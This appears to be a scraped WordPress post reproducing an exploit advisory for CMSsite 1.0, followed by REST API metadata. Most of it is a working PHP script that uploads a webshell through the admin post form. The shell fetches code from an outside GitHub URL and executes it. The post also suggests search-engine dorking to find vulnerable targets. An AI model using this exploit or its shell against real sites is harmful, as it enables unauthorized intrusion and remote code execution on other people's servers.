=============================================================================================================================================
| # Title : CMSsite 1.0 php code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https:\/\/github.com\/VictorAlagwu\/CMSsite\/archive\/master.zip |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This payload injects php code of your choice into an SHELL.php file. <\/p>\n[+] Line 31
Line 40<\/p>\n[+] change the path of the script folder.<\/p>\n[+] save payload as poc.php<\/p>\n[+] usage from cmd : C:\\www\\test>php 1.php 127.0.0.1<\/p>\n[+] payload : <\/p>\n
<?php<\/p>\n
function file_upload($target_ip) {
$file_name = “indoushka.php”;
$webshell_payload = “<?php
\\$url = ‘https:\/\/raw.githubusercontent.com\/indoushka\/txt\/main\/indoushka.txt’;
\\$ch = curl_init();
curl_setopt(\\$ch, CURLOPT_URL, \\$url);
curl_setopt(\\$ch, CURLOPT_RETURNTRANSFER, true);
\\$output = curl_exec(\\$ch);
curl_close(\\$ch);
if (\\$output) {
include ‘data:\/\/text\/plain;base64,’ . base64_encode(\\$output);
}
?>”;<\/p>\n
$post_fields = array(
‘create_post’ => ”,
‘post_image’ => new CURLFile(‘data:\/\/text\/plain;base64,’ . base64_encode($webshell_payload), ‘application\/x-php’, $file_name),
‘post_title’ => ‘inouva’,
‘post_category_id’ => ‘123’,
‘post_tags’ => ’99’,
‘post_content’ => ‘N0_name’,
‘post_status’ => ‘Hackers’,
‘qty’ => ‘1’
);<\/p>\n
echo “(+) PHP Code Injection …\\n”;<\/p>\n
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, “http:\/\/$target_ip\/CMSsite-master\/admin\/posts.php?source=add_post”);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<\/p>\n
$response = curl_exec($ch);
curl_close($ch);<\/p>\n
echo “(+) Shell uploaded successfully.\\n”;
echo “(+) Access the shell at: http:\/\/$target_ip\/CMSsite-master\/img\/$file_name\\n”;
}<\/p>\n
if ($argc != 2) {
echo “(+) Usage: php ” . $argv[0] . ” <target ip>\\n”;
echo “(+) Example: php ” . $argv[0] . ” 10.0.0.1\\n”;
exit(-1);
}<\/p>\n
$target_ip = $argv[1];
file_upload($target_ip);<\/p>\n[+] Path : http:\/\/127.0.0.1\/CMSsite-master\/img\/<\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : CMSsite 1.0 php code injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/github.com\/VictorAlagwu\/CMSsite\/archive\/master.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This payload injects php code of your …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59142","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59142"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59142\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59142"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}